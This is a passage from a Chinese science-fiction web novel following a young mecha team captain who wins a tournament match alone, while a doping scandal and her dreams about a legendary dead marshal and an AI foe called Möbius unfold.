林别歌对她们几秒内转了几圈的想法毫无察觉，还当这两人是打工见过的客人，傻笑了两声。 然后转头继续看比赛。 林别歌浸在自家队伍的战况中，长叹一口气。 一直以来，林别歌都知道，她们的队伍能这么强，跟陶影的指挥脱不开关系，但她心中隐隐还是对自己的实力有些自信。 就算不跟队友配合，她也可以独当一面——林别歌虽然没说出口，但心里时不时会冒出这样的想法。 尤其是在柏墨加入队伍之后。 柏墨毫无疑问，是单兵中的佼佼者。 她的战斗方式，让林别歌产生了极强的竞争心，但同时，林别歌也产生了一种被取代的危机感。 林别歌、南卦、陶影三人组队，只是因为碰巧被分到同一个宿舍，如果没有这个经历，也许她这辈子都不会参加什么机甲比赛。 她在队伍里，纯属凑数。 陶影有异于常人的精神力与智慧，柏墨有一人作战绝佳天赋，南卦平时虽然很普通，但一旦底线爆发，上限巨高。 她们都很强。 林别歌向上走时，遇到了更多优秀的人，这时候她才理解，什么叫做真正的天赋。 那对拥有的人来说，是可以轻易抛开的东西，但对普通人来说，是无论怎么努力，都难以抵达的山顶。 天穹杯决赛，陶影爆出SS级别的精神力，爆杀对手。 林别歌当时就知道，那种级别的战斗，再过二三十年……不，也许她永远都打不出来。 她像是一个混入太空女鬼队的普通人，来打酱油的。 林别歌喃喃道：“我不够强。” 也许她对柏墨的敌意来自这个。 也许她担心柏墨会替代她的位置，而她会被这个越来越强大的队伍丢下。 她追赶不上，她的才能似乎止步于此，就像她今天第一个被淘汰一样。 但她不想……不想离开这个队伍。 林别歌整个人瘫在椅子上，遮住眼睛。 她沉寂许久的大脑终于开始思考。 要怎么样才能留下？ 要怎么样，才能和队友一起赢下去？ 此刻，小行星带的某个角落。 陶影打了个喷嚏。 奇怪，明明附近温度也不低，怎么突然打喷嚏。 她吸吸鼻子，朝摊在地上的触手怪勾勾手指，触手怪接收到信号，咻一下坐起身，跳到她的怀里。 …… 陶影低头看着那半透明的触手，挑眉：“我的意思是帮忙拿一下毯子，不是让你来我腿上蹲着。” 触手怪不满地喵了声，转过去装没听见。 没办法，有求于人。 陶影双手合十，露出一个真诚的假笑：“拜托你帮我拿一下毯子。” 触手怪这才心满意足地去杂物箱里帮她找出毯子，然后稳妥盖上。 陶影目的达成，瞬间翻脸不认人，揪住触手就是一阵揉搓，触手怪也毫不认输，试图跳上驾驶座和陶影互殴。 半分钟后，陶影气喘吁吁伸手：“可以了，我认输。” 两拳难敌几十根触手。 触手怪手在空中点了点，似乎在说“你给我记住了”。 “记住了。” 陶影面色认真地举手投降，态度十分端正，心里想的却完全不一样。 机密数据库里说，精神体和本尊的性格有相像之处，现在看来果然如此。 这触手怪跟她一样吃软不吃硬，还喜欢听人认输求饶。 陶影啧啧感叹两声，摇头戳戳自己的精神体。 “这可不能被人发现了，欲望就是弱点，你多少藏一藏知不知道。” 陶影话音刚落，通讯频道里传来灰兔队长血泪般的控诉声。 “大变态，你绑着我究竟想干什么？” “哦，差点忘了你还在。” 陶影敲敲脑袋。 刚才拆了灰兔小队的机甲，陶影觉得把驾驶舱扔在小行星带不太安全，出于好心，就给他绑了根绳子，拉在手里一起往回走。 她一边搜寻雷达，一边分析队友的位置，尝试启动共鸣系统。 也没太注意手上的缆索。 走到一半就完全忘记了这件事。 现在看来，月行者一号的驾驶舱已经被路过的巨石撞得破破烂烂，外壳有一半都变成太空垃圾。 哦，干了件大坏事。 但陶影毫不心虚，干脆道：“忘了。” 灰兔队长不可置信地重复了一遍：“忘了？” “赛场上忘了敌人在你身边？” “你说这话你自己信吗？” 陶影左右晃动手指。 “毕竟我是大变态 啊，我的想法你不要猜。” 第126章 陶影来到金属垃圾偏少的位置,面板信号转绿，显示“正在重新加载队友连接”。 连续刷新几次，陶影终于看见队友机的状态。 林别歌淘汰,南卦半坠引力圈，柏墨打败一台机甲,但在与另一台机甲的缠斗中，燃料掉到红线,目前宕机中。 当前场上还有行动能力的机甲。 A.月行者三号。 B.月行者四号。 C.恒我。 …… 合着太空女鬼队就剩她了？ 陶影一直认为,她已经掌握了队友的行为模式,不会再有离谱的意外。 没想到还是低估了她们。 就十五分钟没见，是怎么打成这样的？ 陶影迷惑之余,眼睛微眨,突然想起一件旧事。 她八岁那年,莉萨姐有事出门，留下她独自在家照看十只猫。 莉萨前脚刚走,家里迅速开始了战争。 十只肥猫，局势实在很难控制,最后变成一群猫加陶影的混战。 莉萨姐那天回家，看到家中一片狼藉，久久没有说话。 从震惊到茫然,最后情绪稳定地接受现实，开始扫地。 陶影露出同款大姐姐式的安详表情。 这好日子也是轮到她了。 灰兔队长失去推进器，无法行动，只能跟着陶影走，但他视野还没丧失，躺在驾驶座上啧啧摇头。 “新人，你从哪里找来的队友,感觉不太通人性啊。” “把你兔耳摘了再评价人类。” 陶影也不多废话，随手把月行者一号的残骸扔到九霄云外。 甩掉最后的包袱，陶影活动了一下僵硬的颈椎，发出咔咔的声音。 赛场还剩两台敌方机甲，接下来…… “柏墨。” “……” “我知道你在听，我要尝试共鸣了。” “架起你的枪，狙击手。” 月行者三号缓缓触地，推进器轰鸣声渐小，几乎无法察觉。 现在太空女鬼队仅有一台机甲，尚有战斗能力。 恒我。 而月行者四号，此刻悄然来到恒我的背后。 恒我还没有察觉到它的存在。 三号机师敲敲耳麦：“队长，已确认坐标AZ014-A23-B32-C44。” 四号机师应和：“到达预定位置。” 队长：“善！准备攻击。” 灰兔小队队长顺了一把兔耳，看向陶影的机体。 他刚刚装怂的时候，早已悄悄将陶影的坐标信息，以及观察到的机体信息传输到了队友手中。 新人队长急吼吼赶来，以为自己胜券在握。 但实际上，是落入陷阱。 虽然开局出现了一点差错，但没关系，一切都在他的计算之中。 3v1，灰兔小队就没有输过。 “现在先依靠三号机甲吸引她的注意，再用四号机甲背后偷袭。我在后方指挥。” “三号，准备勾引。”“四号，准备伏击。” “收到。”“收到！” 而另一边……陶影一边赶路，一边尝试与柏墨共鸣。 【同步率过低，连接失败。】 【同步率过低，连接失败。】 平时偶尔还能和柏墨连上一次，怎么今天同步率格外诡异，试了这么多次都连不上。 眼看着同步的数字一格格往下掉，队频那头传来柏墨的冷哼。 柏墨：“不需要浪费时间共鸣，我的子弹照样可以射穿月行者三号的能源核心。” 陶影微笑鼓掌：“哦，我当然相信队友的实力，不过你的燃料还剩多少？” 队长大人直指痛点。 柏墨顿了下，声音略小：“……2%。” “那只够两发子弹。” “只要两发都中就可以。” “你知道自己现在的语气听上去很逞强吗？” 柏墨冷漠道：“没有，是你听错了。” “行吧，我就相信你不是逞强，但得到我的信任得付出成本。” 陶影托着下巴。 “要是你两发子弹都没中怎么办？” “不可能发生这种事。” “那可说不准。” 柏墨呵呵：“要是两发子弹都没中，我就跟林别歌手牵手，训练共鸣三个月。” 陶影哇塞一声，惊讶地后退。 “这么狠？” 她本来想说训练一个月就行，还在想会不会时间太长，万一两位队友中途斗殴进医院怎么办。 没想到柏墨竟然自发提出三个月。 “就这么办。” 陶影欣然采纳建议，迅速杜绝了柏墨反悔的机会。 随后她伸了个懒腰，眼神总算认真起来。 “那开始反击吧。” 陶影捕捉到敌方的位置，追赶上去。 先出现在视线里的，是月行者三号。 这只拟兔型机甲似乎经过了特殊调试，比队长机机动性更强，在巨石上跳跃的英姿很是灵活。 陶影紧随其后，并没追上。 解说摇头：“哎……太空女鬼队简直陷入了鬼打墙，怎么三位选手都被同一台机甲给难住了。” “她没看出来这是诱饵？” 林别歌反驳：“不，她肯定看出来了，你看她有时候快要追到兔子，又停下了，这明显是没上套啊。” “但她也没追上啊，怎么看都是没招了。” 陶影的机甲不时往前追，但又并未深入，两台机甲顶着即将见底的燃料，互相试探。 赛场一时僵持不下。 就在这时，灰兔小队变更了战术。 他们在确定局面后，终于不打算继续逃跑了。 “一直潜伏的月行者四号突然发难，和三号队友一起，对恒我形成了夹击的攻击态势！” 月行者四号红眼发射激光光线，射穿陶影附近的小行星带，巨石轰然碎裂，很快发展成小型碎石雨。 爆炸产生的巨大动能不断传递。 无数细小的子弹开始飞散，将恒我包围起来。 碎石雨变相限制了恒我的位置，极黑的机甲一旦踏出一步，立刻被四面八方的攻击击退。 它无法移动，只能暂时开启“月障”防护盾抵挡。 但月行者四号的攻击越来越强，显然没打算停止。 陶影就这样在攻击中被困住，燃料不知不觉掉入了黄线区域。 而防护盾终于出现了裂痕。 灰兔小队：“再加把力，能量再大一点！” “准备远程激光攻击，我们要趁防护破碎的瞬间，废掉它的视觉模块！” “好！” 灰兔小队聚集能量，瞬间爆发。 而恒我的精神力护盾终于在高强度的能量下碎裂，碎金般的破片炸开，片刻的夺目光华后，消散在茫茫宇宙中。 与此同时，一抹高强度的激光，朝着陶影的视觉模块直射而去。 灰兔小队乘胜追击。 而陶影站在原地一动不动，甚至没有来得及躲避。 恒我的视觉模块被射中，很快，陶影的面板闪烁两下，提示视觉传感器已失效。 灰兔小队齐声高呼：“正中靶心！” “四号你干得好哇。” “恒我的战力被大幅度削弱，那我们现在就接近干掉她……” “不，再等等。” 队长果断阻止。 他刚才见识过陶影的拆机手法，总觉得太过熟练，看得人心中有些发怵。 “光是视觉模块还不够，其它传感器也要狙掉。” “面对新人，有必要这么谨慎吗？她都看不见了。” 另一位队友也附和：“是啊，在宇宙中上不着天下不着地的，眼前又是一片黑，这换成我大学时候，已经原地投降了。” 队长给出指令：“照我说的做。” “好吧。” 两位队友虽然不太理解，但还是从善如流地听从命令，再次开启眼部的激光炮。 声纳模块，红外模块，气体传感器……很快，恒我所有的传感器都被精准狙掉。 灰兔小队爆发出一阵欢呼。 约十分钟后，三号和四号谨慎地等到碎石雨停下，确认恒我周围的环境彻底安全，这才得意地 逼近。 两台月行者在恒我身边跳来跳去。 失去传感器的恒我就像案板上的肉，任人宰割。 “晋级的奖金我们已经拿到一半了。” “队长，你机甲刚刚是不是被它拆掉了，我们帮你报仇。” 那灰兔说着，张开血盆大口，拔出上颚的大板牙——那是一把闪亮的白色短刀，做成门牙的形态。在一些紧急情况，可以用于近战。 当然也可以用来拆机甲。 月行者三号欠欠地伸手在陶影的视觉模块前挥了挥。 “嗯，从哪个部位开始呢，手臂？” 他研究半天，最终桀桀怪笑两声，决定从头部开始。 白色的短刀迅速举上恒我的驾驶舱，但三号找来找去，也没发现可以下刀的地方。 这机甲怎么设计得严丝合缝的。 防拆型？ 三号犹豫片刻，决定换个位置下刀，恒我却动了。 黑色的眼睛突然闪烁，恒我骤然伸手，在三号面前挥过，险些将他的机甲扇飞出去。 三号吓了一跳，迅速后撤。 他拍拍胸口，不解地问队友：“她的传感器不是都毁掉了吗，怎么还能发现我的存在？” 队友白了他一眼：“你老式机甲开傻啦？我们开的都是知觉机甲，机师能通过精神力判断对手的位置。” “虽然只能判断个大概，而且距离上也有限制，但你离那么近，她当然可以发现。” 三号挠挠头：“这样？我也不用精神力模块。” 准确来说，月行者是半知觉机甲。 拥有精神力模块，但也没有舍弃老式的机械面板。 在新技术和老技术中做到了融合。 三号机师的精神力不高，大部分时候还是通过机械模块操作，不知道这件事也情有可原。 “我还想拆掉她的机甲给队长报仇呢，现在怎么办？” “怕什么，她只是察觉到你的位置随手乱挥而已，睁着眼睛都比你慢，你还怕她闭着眼睛不成。” 四号机师哼笑一声。 “我能察觉到她的精神力有些散漫，现在正是最好的攻击时刻。” “上！” 两台机甲后腿猛蹬，借巨石反弹，再次向陶影发起攻击。 而远处，一颗漆黑的子弹划破真空，像一道黑色的闪电，朝她射来。 三方的全力攻击。 朝着一个方向。 攻击中心，陶影悠然道： “让我看看你的准星如何吧，小墨。” 第127章 子弹势如破竹,直冲月行者而来。 四号机师只感觉背后一凉，下意识侧身，子弹迅速擦过机甲腰部,连续击穿数颗碎石。 那机师猛躲开，心脏狂跳。 他又仔细确认了下,没错，这个大小肯定是子弹。 但是哪里来的？ 他疑惑转身,面向子弹的来源。 太空女鬼队现在能动的机甲应该只有恒我才对。 谁在狙击,鬼吗？ 四号机师朝着那个方向沉思几秒,突然身体一僵。 这个方向他很熟悉，靠近无名星的位置,他之前一直在那附近跟柏墨的机甲缠斗。 没错,柏墨。 刚刚开枪的是柏墨！ 这人怎么会是狙击手？ 她不是向来喜欢近战切西瓜吗？ 而且鹤亭号刚刚燃料都见底了,这人怎么开的枪？ 四号机师瞪大眼睛：“搞什么？” 灰兔小队：“好险啊老四，刚刚要不是躲得快,就被击中驾驶舱了……” 几人心有余悸，队频小声讨论。 “再怎么说,刚刚那一枪应该燃料用尽，不会再有下一枪了吧？” “我们要不要观察观察情况？” 灰兔小队谨慎之余，宇宙中传来一声女鬼的轻笑。 陶影：“小墨,第一枪没中。” 她笑意渐浓。 队频里似乎传来一声不满的轻哼，随后是子弹再次离膛的咔哒声。 火光喷薄而出的瞬间，鹤亭号燃料彻底耗尽。 太空女鬼队剩下的机甲，唯有恒我。 陶影静静地闭上眼，看那颗子弹划破无尽的夜空。 她的精神力像一张无形的网，捕捉着附近数百米处的动静。 陶影能感受到子弹正在飞速穿越。 可能是之前在遗迹博物馆蒙眼开枪练出来的能力，陶影能“看见”的轨迹,比起天穹杯决赛时更清晰了。 以前需要和机甲共鸣才能发挥出的能力，现在在精神力集中的状态下，也能实现。 她眼皮微微颤动。 近了。 子弹从陶影身边擦过，直指月行者的驾驶舱，但就在即将击中的时候—— 灵活的兔子迅速避开。 灰兔小队还是有两把刷子。 他们在很快的速度内，分析出了狙击手的位置，自然也预测了弹道。 柏墨射击很准。 但枪弹能不能击中，不能光看准星。 毕竟赛场上的敌人，有时候就跟队友一样难以预测。 陶影歪头：“真可惜，就差一点，愿赌服输，记得跟林别歌手拉手训练三个月。” 柏墨：“……” 场外的林别歌对此一无所知，还在担心战况。 她跟南卦紧张地抱在一起。 “场上就剩队长一个，还是传感器被狙的残血状态，怎么办？” “凉拌。” “我们不会职业联赛的第一场就输吧……” 虽然比赛有输有赢，但如果第一场就输，总觉得心里缺了点什么。 林别歌双手合十，开始祈祷。 “拜托了影子，这场比赛如果能赢，我一定加倍努力训练，绝对不拖小队的后腿。” 南卦握拳：“我也，要是这场比赛能赢，我就去大街上随机找一百个陌生人搭话。” 林别歌：“那对你来说很拼了。” 两人目光紧张地注视着屏幕，这场比赛的胜负就在此刻。 她们会赢吗？ 赛场中的陶影，似乎察觉到什么，朝远处的缩成小点的星舰望了一眼。 她回头，嘴角勾起一抹有趣的弧度。 感觉队友应该会说些很可爱的话。 可惜听不见。 燃料快要见底，她还能支撑五分钟。 敌方机甲还剩两台。 陶影握紧手里的光刃，横在身前，思索片刻后，就这样闭着眼睛，向敌方冲去。 灰兔小队确认柏墨的机甲彻底关闭，已经开始比赛结束倒计时，没想到从柏墨射击开始，就没什么动作的恒我会突然起步。 恒我以闪电般的速度靠近他们。 明明失去了传感器，但依靠精神力，竟然能高度精准地判断他们的位置。 “首先是这台。” 陶影在敌人的慌乱中，微笑着吐字。 手边传来温热的气息，和机甲共有的感知，透过溪流般宁静的精神力，浸没她的神经。 精神力涓流不停流淌，无形地填满驾驶舱。 一直蹲在陶影怀里的触手怪突然“喵”一声抬头。 它顶顶陶影的下巴，随后突然开始—— 变形。 它快速变成人类、虫族、甚至一只黑猫，然后在各个形态中，不停切换。 某个瞬间，变形停止了。 触手怪半透明的身体失去边界，它和陶影交会的部分，开始重叠。 因为太过自然，这副画面甚至没有让人感到奇特。 灵魂开始融合，好像原本一体。 而陶影此刻闭着眼，全神贯注地看着对手。 她并没有注意到刚刚发生的事，只觉得思维似乎变得更清晰了。 就像第一次驾驶恒我的时候，那种说明书出现在精神力中的奇妙感觉。 但她来不及想是为什么。 寂静的宇宙中，黑夜手握光刃，反手横劈。 撕裂黑暗的锋利光线，斩断所有迟疑，朝敌人的驾驶舱发起攻击。 月行者三号被劈开一道裂缝，轻巧的机体险些狂飞出去。 三号机师猛地增大推进器火力，这才勉强在撞碎装甲前停下来。 但因为过大的冲击，精神力屏障寸寸碎裂。 而陶影并没有停止攻击，她立刻松开光刃，换到左手。 光刃偏斜，反射左侧射来的攻击。 是月行者四号试图掩护队友的激光。 黑色机甲眯起眼睛，神态悠然，左手在危险的边缘翻动着光刃。 沉静片刻后，恒我的右臂迅速弹射出几圈缆索，绕住月行者四号口中的“牙齿”。 然后狠狠拉动。 白色短刀飞落在陶影手心，然后在手中丝滑地旋转一圈。 陶影笑容顽劣，晃了晃刀子。 完全是乐在其中。 四号机师摸摸自己消失的“牙齿”，笑不出来了。 他面色瞬间苍白，嘴皮发抖，好像差点被劈成两半的不是队友，而是他。 “她刚刚都没挡住我的攻击，为什么现在突然动作这么快？就好像变了一个人似的。” “不残血不会打？” “我看像是被鬼附身了。” 恒我仿佛产生了一种灵性，在众人眨眼的瞬间，动作突然异常老练。 不仅赛场的对手觉得疑惑，休息室内气氛也充斥不解。 这前后断层的变化，让人心中生出 一丝畏惧。 这不是新人该有的动作，甚至职业选手也不一定能达到这样浑然天成的反应速度。 更像是熟练战场的战士。 本来撑着扫把，站在林别歌身边，无聊看太空女鬼队比赛的清洁工大叔，眼神瞬间不一样了。 他身子猛地朝屏幕探，看了半天后，问林别歌： “这动作跟刚才是同一个人？” “你们队长什么来头。” “她老师是谁？” 这人问题跟连珠炮似的接连发射，态度颇有些咄咄逼人。 林别歌一下子被震住了，但她也百思不得其解，只能张了张嘴：“不道啊。” 她们虽然有位老师是联邦的元帅，但并没教过她们什么实战技巧。 也没听姬老师给陶影开过小灶。 所以队长这是怎么了？ 爆种的契机在哪里？ 南卦思索了最近的训练情况，小声道：“以小影的才能，可能是自学？” 那提问的清洁工明摆着不信这个答案，嗤笑一声：“这水平怎么可能自学，就算是天才也不可能。” “再天才的人也得先认识字才能写字。” “就她刚刚那个动作，我打包票，绝对上过战场。” “她用刀之后，下意识震动抖掉虫液，明明敌人都在身前，却也随时留手防备其它方向——尤其是脚下，这是新人机师最容易忽略的位置。” “都是砍过虫族的人才会有的习惯，她肯定上过战场。” 清洁工大叔身板挺直，字字顿挫有力，看着像是战场上退役的士兵，话说得非常笃定，把队友都说得有点迷茫了。 林别歌惘然：“真的假的？” 但陶影这个年纪，怎么可能上过战场，不考虑年纪，体质也不可能啊。 难道真是被鬼附身了？ 林别歌看向赛场的眼神变得有些复杂，随后小声对着南卦道：“总觉得队长身上秘密好多，之前姬老师怀疑她是仿生人，两个人还拿枪对轰。后来不知道发生了什么，一场战斗下来，两个人反倒变得特别熟，就跟上辈子认识似的。” “队长跟王女说话也有点怪。” “还认识海台科技的总裁，还认识柏墨……” “跟莱门机甲研究所的人也特别熟，不是，之前我都没意识到，仔细一想，这个人脉有点恐怖了吧？” 林别歌越想越觉得不对。 她朝南卦比了个话筒。 “采访一下，占卜大师，你对队长的真面目有没有什么头绪？” 南卦搔搔鼻尖：“算是有一点。” “什么？快说快说。”林别歌眼神期待。 南卦轻咳一声，似乎有些不知道如何开口，她支支吾吾道：“也不算有头绪吧，就是一点点推理，那句话怎么说的，排除一切不可能，最后剩下的就是真相……是吧。” “什么啊？”林别歌神色呆滞。 南卦拍拍林别歌的手，糊弄过去。 “哎，小影迟早会告诉你的，总之现在先专注比赛。” 话是这么说，但本场比赛的结果，其实也没有太大的意外了。 月行者三号都没能避开的刀刃，速度更慢的四号自然也避不开。 一阵刀光后，陶影将两台机甲都收入囊中，甚至顺手抱住一台机甲的头，笑眯眯地说了几句话。 不知道陶影说了什么，总之那机师害怕地听从她的命令，一点不敢违抗，操作激光，把远在数公里外观察情况的灰兔小队队长也轰掉了。 至此，比赛结束。 1v3，在队友纷纷阵亡的情况下，陶影竟然拿下三个人头，赢了。 主持人的声音在众人头顶响起。 “现在宣布比赛结果。” “循环赛，第八小组第一场，太空女鬼队vs灰兔小队。” “太空女鬼队胜！” 第128章 机甲回到星舰甲板,队友一拥而上，将陶影包围起来。 南卦两眼放光：“小影，你最后怎么做到的？好漂亮的连招！” 陶影难得回答得有些迟疑。 “我也不太清楚。” 她本来认为,这场比赛赢的概率大概是50%，但最后五分钟,她的精神力进入了奇妙的状态。 有股精神力在推着她走。 之前比赛中没空分心，现在踩上星舰的甲板,陶影才察觉到那股精神力的来源似乎是触手怪。 她回头朝触手怪勾勾食指。 触手怪这次并没有听陶影的话,只是懒洋洋地躺在地上,拉长声音“喵——”了一声。 刚才在机甲内不停变换外观的精神体，现在稳定了形态。 陶影敏锐地察觉,它和之前有些不太一样,不管是外观上,还是精神力流动上。 陶影走到它身边蹲下，把它翻到背面,仔细检查了一番。 “它是不是变得更实心胖了？” “感觉个性也更鲜明了。” “你是想说它更像猫了吧。” 南卦捂住触手怪的耳朵：“猫猫别听，这是恶评。” 陶影无奈道：“你捂住的是它的嘴,它的耳朵在……说起来它有耳朵吗？” 触手在地面抽打两下，似乎在对陶影的质问表示不满。 不过这点性格以及重量变化不是最大的问题。 让陶影惊讶的是，直到她们一起去餐厅吃完饭,触手怪都一直维持实体，没有消失。 甚至接下来两天的休息调整时间快结束，它都没有变透明的趋势。 如果是以前，通常共鸣结束后几个小时，触手怪就会电量用尽，维持不了实体。 但距离陶影上次使用恒我的共鸣系统，已经过去三天。 明显超时了。 “它看上去变得更强了。” “难道精神体也会进化？” 陶影沉思片刻,摇摇头：“我觉得不像。” 倒像是她跟触手怪之间的连接更强，所以充电效率变高了。 但连接为什么会变强？ 触手怪甩甩尾巴，回答：“喵喵喵。” 陶影：…… 她听不懂猫语，谢谢。 星舰上的娱乐不多，虽然有泳池和射击场，但大多是为训练准备的。 两场比赛之间，训练强度不宜过高，维持手感即可。 所以训练结束后大家都没什么事情做。 于是太空女鬼队这两天，发展出一个新爱好——围着触手怪观察它。 不分时间，不分场合。 因为太过熟悉触手怪，四人时不时会忘记一件重要的事。 没有和陶影共鸣过的人，看不见它。 虽然她们的行为很正常，但在旁人眼中，完全不是这么回事。 太空女鬼队不太正常。 像是走路走到一半，突然抽风，集体对着阴暗的角落自言自语。 或是齐刷刷蹲下身，众星捧月般举起不存在的谜之生物。 像什么原始部落在做法。 星舰上开始流传奇怪的说法： “太空女鬼队第一场比赛能赢逆风翻盘，肯定是嗑药了。” “你看看，这个幻觉幻听简直太离谱，我参赛这么多年，从没遇见过这么严重的。” “她们吃的哪款药？副作用也太大了。” 嗑药的说法愈演愈烈，最终太空女鬼队被人以使用兴奋剂举报到了赛方。 但在做完药检后，四人的结果都没问题。 反倒是举报她们的人，因为措辞中表现出了对违禁兴奋剂的异常熟悉，被赛方顺势拉去测试，结果发现真嗑了药，当场取消比赛资格，并禁赛五年。 这人不服，提出重新检测，赛方干脆临时组织了全体药检。 一场比赛下来，竟然揪出了六七组作弊。 使用的都是新型兴奋剂。 严格来说不是兴奋剂，而是一种全新开发的特殊药物，可以帮助人集中精神力。 第一次使用后，药效会持续三天，这期间可以检测出血液中的药物残留。 但后续只需要每次比赛前使用，效果持续数小时，赛后十几分钟就查不出来了。 逃避检测能力很强。 有一个组别，甚至四个队伍里有三个都被查出使用了兴奋剂，取消 资格，剩下的队伍无痛晋级。 这次药检风波闹得很大，甚至引起了星际机甲协会的严厉讨论，最终更改了兴奋剂的检测规则，设置了赛前以及赛后的立即抽检。 虽然有人大骂麻烦，但老实比赛的选手们都拍手称快。 “维护比赛公平，早该这样了。话说回来，这兴奋剂强度是不是有点离谱，我看了眼比赛记录，吃了药的都没输过。” “是治疗精神疾病使用的药物，听说对脑部疾病都有效，这两年刚刚兴起，效果确实很好，还没副作用。” “这么万能？” “这么说来，太空女鬼队那些诡异行为就不是吃药导致的了……那更奇怪了，她们队长最后真的是凭借自己能力赢的？我看录像总觉得有些诡异。” “是啊，那前后差异，就跟人格转换似的，星火科学能演三集。” “可能是向魔鬼献祭了灵魂。” “你讲点科学吧。” 话题最后，众人也没能讨论出，太空女鬼队究竟为什么跟空气说话。 而触手怪也依旧没有消失。 于是图兰提斯小队比赛结束，过来太空女鬼队串门，想着恭喜她们第一场比赛胜利，以及摆脱兴奋剂嫌疑时，看见的就是—— 林别歌、南卦、柏墨围成一圈，对着桌子上的空气说话，手时不时在空中顺着脊背下滑，好像在摸一只不存在的猫。 三人看上去脑子都不太正常。 姬达婳沉默片刻，后退两步，关上了门。 祝小芮眼睛瞪大：“你们在干嘛？” 就算比赛压力很大，也不至于三个人都疯了吧？ 祝小芮本来还想说至少陶影精神状态挺稳定的，不会有问题，结果转头一看，这人端着水杯，也在桌子旁边坐下了。 陶影和队友一样，对着空无一物的桌面严肃地叹气：“你究竟是什么东西。” 祝小芮：“……” 完了，连陶影都疯了。 她和姬达婳速速寒暄两句，就离开了，去训练室的路上正好撞见灰兔小队的人，那兔耳男看她们从陶影的房间出来，神秘兮兮地说：“你们也看见了吧？” “看见什么了？” “太空女鬼队，她们会通灵。” 祝小芮：“……” 这届职业联赛的选手究竟怎么回事。 有没有一个正常人啊！！ 按照赌约，柏墨和林别歌需要手拉手训练共鸣，三个月。 陶影告诉林别歌这个消息时，还以为她会大闹，说“你们打赌为什么没有征求本当事人的意见”，然后撒泼打滚拒绝，但没想到林别歌只是懵了一下，就接受了这个提议。 林别歌苦笑：“我也觉得自己的配合不太好，跟她训练能学到一点东西，挺好的，就这么办吧。” 柏墨诧异地看着她：“你转性了？” “只是认清了自己的实力，觉得不能再这样下去了。” 林别歌语气颇有些丧气，似乎还在因为第一个被淘汰而自责，陶影顿了下，拍拍她的肩膀，语气安慰。 “其实手拉手的部分可以拒绝的。” “一起训练就行。” 但林别歌摇了摇头，她比打赌的两人还要坚持，甚至拉着柏墨一起去了训练室。 虽然不知道发生了什么心态转变，但林别歌这两天性格沉稳了不少，好像一夜之间长大，对待比赛更认真了。 训练中共鸣率也在上升。 柏墨受到林别歌的影响，开始良性竞争，共鸣率从10%上升到了20%。 最后一次的训练中，柏墨和林别歌共鸣成功了十秒。 虽然共鸣时间很短，实战里很难派上用场，但对这两人来说，已经是巨大的进步了。 训练完，大家等着陶影分析下场比赛的战术，但陶影只简明扼要地说了两句。 “成机队因为没有通过药检，被踢出比赛，我们可以少比一场。下一场的对手是YES队，不需要花太多力气就能赢，你们随便打打就行。” “赢的几率是？” 陶影笃定道：“100%。” 这么肯定？ 队友露出讶异的表情。 成机队是去年的亚军队，实力很强，被踢走确实对她们很有好处。 “但YES队也不弱啊，我看大家对她们的评价和灰兔小队差不多，为什么灰兔小队赢我们的几率是50%，她们却必输？” 区别在哪里？ “区别在我克她们。” 陶影耸耸肩，也没具体解释为什么，只给几人发出了一条消息。 三位队友齐齐低头。单子上大概有九个队名。 林别歌：“这是什么？” 陶影：“已经晋级，和即将晋级第二赛段的对手，可以提前熟悉一下他们的战斗风格，重点我都标出来了。” 比赛原本分为三个赛段，第一赛段的小组循环赛，第二赛段的双败淘汰赛，和第三赛段的总决赛。 但因为药检，队伍数量锐减，赛方最后决定取消第二赛段。 也就是说，这次比赛结束，她们会直接进入决赛。 大概说明了一下目前的情况，陶影留下队友消化，她独自离开，南卦的声音从背后传来：“小影，你要去哪里？” 陶影笑着挥挥手：“补觉。” 陶影这几天没睡好。 原本四个小时就可以依靠睡眠解决疲劳，硬生生延长到八个小时。 因为总是做梦。 不知道因为什么，陶影再次梦见之前在弗洛法裂隙的事。 古老的遗迹内，印痕泛着蓝光。 一个披头散发的女人正拿着锐利的骨头，在墙上刻着什么。 内容似乎是计算竖式，又好像人的名字。 是陶影无法理解的文字。 但这次的梦境，和以往都有些不一样，随着一次次梦见，这个梦似乎变得更加具体。 女人每次转过头来，都会变成不同的生物，有穿着军装的女人，有黑猫，有虫族，最后一次，它转过头，变成了触手怪的模样。 触手怪甩甩触手说：“你要离开，S。” 而陶影仰头，再次看向岩壁上刻着的字。 最后一次，文字在她的脑中，竟然变得无比清晰。 陶影一个字一个字，轻轻念出口。 “我将离开这里，你困不住我的。” “莫比乌斯，你太小看人类了。” 第129章 这真的只是一个梦境吗？ 陶影站在梦境裂隙中,神智逐渐恢复清醒。 不，这是曾经发生过的事。 在弗洛法裂隙中，曾经有一个女人被莫比乌斯困住,拼命想要逃出去。 四年间，三十七次复制的身体,不断重生。 但陶影想，也许不只这三十七次。 也许女人在逃离裂隙后,又拥有了新的身体,新的身份。 于是陶影第一次在梦中朝女人开口。 “你究竟是谁。” “我们是什么关系？” 陶影话音刚落,那触手怪突然变成一个穿着深蓝色军服的女人。 女人嘴角带笑，轻压帽檐,遮住眼睛。 她说： “我回答过你。” 女人的制服棱角分明,左胸铺满了勋章。但仔细一看,镶嵌华丽宝石的军功章竟然和旅游纪念章混在一起。 显然它们的主人没太把荣誉当一回事。 十分随意，就像女人的性格一样。 女人审视陶影片刻后,将大檐帽取下，重重盖在陶影头上,遮住她半张脸。 随后凑到她耳边说：“你觉得我是谁？” 见陶影嘴角抽搐，那女人随即摸摸下巴，语气调笑：“怎么不说话,不会是没猜到吧？” “看你这个反应，应该已经有点头绪了啊。” 陶影：“……” 不需要猜，这张脸，整个星际无人不知。 历史教材第二册五章第三节，星际联考每届的重点。 雷瓦尔帝国重要历史人物。 陶影移开头顶的手，礼貌微笑道： “西尔维娅元帅，你已经死了,死人是不会说话的。” 西尔维娅转转帽子：“哦，真过分。” “竟然直提我这辈子唯一一次也是最后一次失败。” 陶影干脆道：“你跟莫比乌斯什么关系？” 见陶影直切正题，完全没被她掌控节奏，西尔维娅耸耸肩，面色也正经了几分。 她答道：“宿敌吧，虽说我没同意，但它喜欢追着我跑。” 陶影点点头：“一直追到了虫巢，是吗？” 姬亦曾在前线的虫母身上，发现电子智能体的意识残留，之前在莱门遗迹博物馆，还误以为和陶影有关。 后来解除误会，才猜想那抹意识应该是莫比乌斯。 陶影沉思片刻，抬头：“塔恩泽虫巢大战，潜入虫族意识和你对战的，是莫比乌斯。” 陶影的语气十分肯定，几乎没有留反驳的余地。 西尔维娅感叹一声，狡黠地眨眨眼睛。 “你的脑子转得比我想的更快。” “好吧，现在有些事情需要告诉你，免得你被莫比乌斯打个措手不及——” 